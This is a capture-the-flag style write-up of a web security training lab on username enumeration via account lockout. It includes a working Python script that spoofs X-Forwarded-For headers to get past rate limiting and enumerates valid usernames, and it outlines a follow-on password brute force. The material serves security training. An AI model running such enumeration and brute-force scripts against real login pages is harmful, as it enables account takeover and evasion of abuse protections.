We captured the login POST request when logging into the server, sent it to Intruder, and used a clusterbomb attack with the first payload set to usernames and the second payload set to passwords with 5 null values:

If a valid username was found, the account would lock out due to the null passwords. This allowed us to identify valid usernames because the response indicated the account was locked for that username:

Because Burp Intruder (Community Edition) was slow, we automated the same process with a script:

import requests
import random
import time
 
# ------------------ Configuration ------------------ #
url = "https://0a7900bd04d41293804e3fb900970059.web-security-academy.net/login"
cookie = {"session": "sKk3m0VPKChVHzYFXogWQY2pvZSrdRRP"}
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
 
headers_base = {
    "User-Agent": user_agent,
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "https://0a7900bd04d41293804e3fb900970059.web-security-academy.net",
    "Referer": "https://0a7900bd04d41293804e3fb900970059.web-security-academy.net/login"
}
 
# Candidate usernames
with open("users.txt") as f:
    usernames = [line.strip() for line in f.readlines()]
 
# ------------------ Helper Functions ------------------ #
def random_ip():
    return ".".join(str(random.randint(1, 254)) for _ in range(4))
 
def send_login(username):
    headers = headers_base.copy()
    headers["X-Forwarded-For"] = random_ip()
    data = {"username": username, "password": "invalidpass"}
    start = time.time()
    r = requests.post(url, headers=headers, cookies=cookie, data=data)
    end = time.time()
    return r.text, int((end - start) * 1000), headers["X-Forwarded-For"]
 
# ------------------ Step 1: Username Enumeration ------------------ #
print("[*] Starting username enumeration...")
valid_username = None
for user in usernames:
    for _ in range(5):  # Repeat 5 times to trigger account lock
        response, rt, ip = send_login(user)
        print(f"IP: {ip}\tUsername: {user}\tLength: {len(response)}\tTime: {rt}ms")
        if "too many incorrect login attempts" in response:
            valid_username = user
            print(f"[+] Valid username found: {valid_username}")
            break
    if valid_username:
        break
 
if not valid_username:
    print("[-] No valid username found.")

We observed a username producing a different response length and confirmed it was a valid username:

We then brute-forced the password using a simple sniper attack and found it:

We copied the successful request to the browser, logged in as that user, and solved the lab: